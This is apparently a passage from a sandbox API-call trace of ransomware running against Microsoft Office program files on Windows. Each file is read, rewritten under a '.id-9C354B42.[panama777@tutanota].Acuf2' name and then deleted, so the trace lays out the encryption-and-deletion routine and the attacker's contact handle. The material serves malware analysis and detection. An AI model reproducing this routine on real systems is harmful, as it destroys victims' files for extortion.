	[0275.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
	[0275.195] lstrlenW (lpString=".doc") returned 4
	[0275.195] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1
	[0275.195] lstrlenW (lpString=".docx") returned 5
	[0275.195] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1
	[0275.195] lstrlenW (lpString=".pdf") returned 4
	[0275.195] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1
	[0275.195] lstrlenW (lpString=".xls") returned 4
	[0275.196] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString=".xlsx") returned 5
	[0275.196] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1
	[0275.196] lstrlenW (lpString=".ppt") returned 4
	[0275.196] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
	[0275.196] lstrlenW (lpString=".zip") returned 4
	[0275.196] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString=".rar") returned 4
	[0275.196] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString=".bz2") returned 4
	[0275.196] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString=".7z") returned 3
	[0275.196] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1
	[0275.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
	[0275.196] lstrlenW (lpString=".dbf") returned 4
	[0275.196] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1
	[0275.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
	[0275.196] lstrlenW (lpString=".1cd") returned 4
	[0275.196] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1
	[0275.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53
	[0275.196] lstrlenW (lpString=".jpg") returned 4
	[0275.196] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1
	[0275.197] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.197] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.197] GetLastError () returned 0x0
	[0275.197] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3c8, lpOverlapped=0x0) returned 1
	[0275.211] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3d0, lpOverlapped=0x0) returned 1
	[0275.212] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.212] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.212] SetEndOfFile (hFile=0x29c) returned 1
	[0275.224] CloseHandle (hObject=0x29c) returned 1
	[0275.224] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.224] SetEndOfFile (hFile=0x36c) returned 1
	[0275.228] CloseHandle (hObject=0x36c) returned 1
	[0275.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 1
	[0275.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.258] lstrlenW (lpString=".doc") returned 4
	[0275.258] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString=".docx") returned 5
	[0275.258] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1
	[0275.258] lstrlenW (lpString=".pdf") returned 4
	[0275.258] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString=".xls") returned 4
	[0275.258] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString=".xlsx") returned 5
	[0275.258] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1
	[0275.258] lstrlenW (lpString=".ppt") returned 4
	[0275.258] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.258] lstrlenW (lpString=".zip") returned 4
	[0275.258] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString=".rar") returned 4
	[0275.258] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.258] lstrlenW (lpString=".bz2") returned 4
	[0275.258] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.258] lstrlenW (lpString=".7z") returned 3
	[0275.258] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.258] lstrlenW (lpString=".dbf") returned 4
	[0275.258] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.259] lstrlenW (lpString=".1cd") returned 4
	[0275.259] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66
	[0275.259] lstrlenW (lpString=".jpg") returned 4
	[0275.259] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.264] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1078) returned 1
	[0275.264] CloseHandle (hObject=0x36c) returned 1
	[0275.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 0x20
	[0275.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.265] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.265] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.265] GetLastError () returned 0x0
	[0275.265] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.267] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.269] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.269] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0275.269] SetEndOfFile (hFile=0x29c) returned 1
	[0275.269] CloseHandle (hObject=0x29c) returned 1
	[0275.269] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.269] SetEndOfFile (hFile=0x36c) returned 1
	[0275.284] CloseHandle (hObject=0x36c) returned 1
	[0275.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 1
	[0275.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.284] lstrlenW (lpString=".doc") returned 4
	[0275.284] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.284] lstrlenW (lpString=".docx") returned 5
	[0275.284] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
	[0275.284] lstrlenW (lpString=".pdf") returned 4
	[0275.284] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.284] lstrlenW (lpString=".xls") returned 4
	[0275.285] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.285] lstrlenW (lpString=".xlsx") returned 5
	[0275.285] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0275.285] lstrlenW (lpString=".ppt") returned 4
	[0275.285] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.285] lstrlenW (lpString=".zip") returned 4
	[0275.285] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.285] lstrlenW (lpString=".rar") returned 4
	[0275.285] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.285] lstrlenW (lpString=".bz2") returned 4
	[0275.285] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.285] lstrlenW (lpString=".7z") returned 3
	[0275.285] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.285] lstrlenW (lpString=".dbf") returned 4
	[0275.285] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.285] lstrlenW (lpString=".1cd") returned 4
	[0275.285] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO") returned 63
	[0275.285] lstrlenW (lpString=".jpg") returned 4
	[0275.285] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.286] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=2998) returned 1
	[0275.286] CloseHandle (hObject=0x36c) returned 1
	[0275.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 0x20
	[0275.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.286] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.286] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.286] GetLastError () returned 0x0
	[0275.286] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.288] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.289] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.289] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0275.289] SetEndOfFile (hFile=0x29c) returned 1
	[0275.289] CloseHandle (hObject=0x29c) returned 1
	[0275.289] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.289] SetEndOfFile (hFile=0x36c) returned 1
	[0275.293] CloseHandle (hObject=0x36c) returned 1
	[0275.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 1
	[0275.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.294] lstrlenW (lpString=".doc") returned 4
	[0275.294] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.294] lstrlenW (lpString=".docx") returned 5
	[0275.294] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0275.294] lstrlenW (lpString=".pdf") returned 4
	[0275.294] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.294] lstrlenW (lpString=".xls") returned 4
	[0275.294] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.294] lstrlenW (lpString=".xlsx") returned 5
	[0275.294] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0275.294] lstrlenW (lpString=".ppt") returned 4
	[0275.294] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.294] lstrlenW (lpString=".zip") returned 4
	[0275.294] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.294] lstrlenW (lpString=".rar") returned 4
	[0275.294] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.294] lstrlenW (lpString=".bz2") returned 4
	[0275.295] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.295] lstrlenW (lpString=".7z") returned 3
	[0275.295] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.295] lstrlenW (lpString=".dbf") returned 4
	[0275.295] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.295] lstrlenW (lpString=".1cd") returned 4
	[0275.295] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63
	[0275.295] lstrlenW (lpString=".jpg") returned 4
	[0275.296] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.296] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=320) returned 1
	[0275.296] CloseHandle (hObject=0x36c) returned 1
	[0275.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20
	[0275.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.296] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.296] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.297] GetLastError () returned 0x0
	[0275.297] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x140, lpOverlapped=0x0) returned 1
	[0275.298] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x150, lpOverlapped=0x0) returned 1
	[0275.298] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.298] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0275.299] SetEndOfFile (hFile=0x29c) returned 1
	[0275.299] CloseHandle (hObject=0x29c) returned 1
	[0275.299] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.299] SetEndOfFile (hFile=0x36c) returned 1
	[0275.301] CloseHandle (hObject=0x36c) returned 1
	[0275.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 1
	[0275.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.301] lstrlenW (lpString=".doc") returned 4
	[0275.301] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.301] lstrlenW (lpString=".docx") returned 5
	[0275.301] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1
	[0275.301] lstrlenW (lpString=".pdf") returned 4
	[0275.302] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString=".xls") returned 4
	[0275.302] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString=".xlsx") returned 5
	[0275.302] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1
	[0275.302] lstrlenW (lpString=".ppt") returned 4
	[0275.302] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.302] lstrlenW (lpString=".zip") returned 4
	[0275.302] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString=".rar") returned 4
	[0275.302] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString=".bz2") returned 4
	[0275.302] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.302] lstrlenW (lpString=".7z") returned 3
	[0275.302] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.302] lstrlenW (lpString=".dbf") returned 4
	[0275.302] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.302] lstrlenW (lpString=".1cd") returned 4
	[0275.302] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64
	[0275.302] lstrlenW (lpString=".jpg") returned 4
	[0275.302] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.303] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1078) returned 1
	[0275.303] CloseHandle (hObject=0x36c) returned 1
	[0275.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 0x20
	[0275.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.303] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.303] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
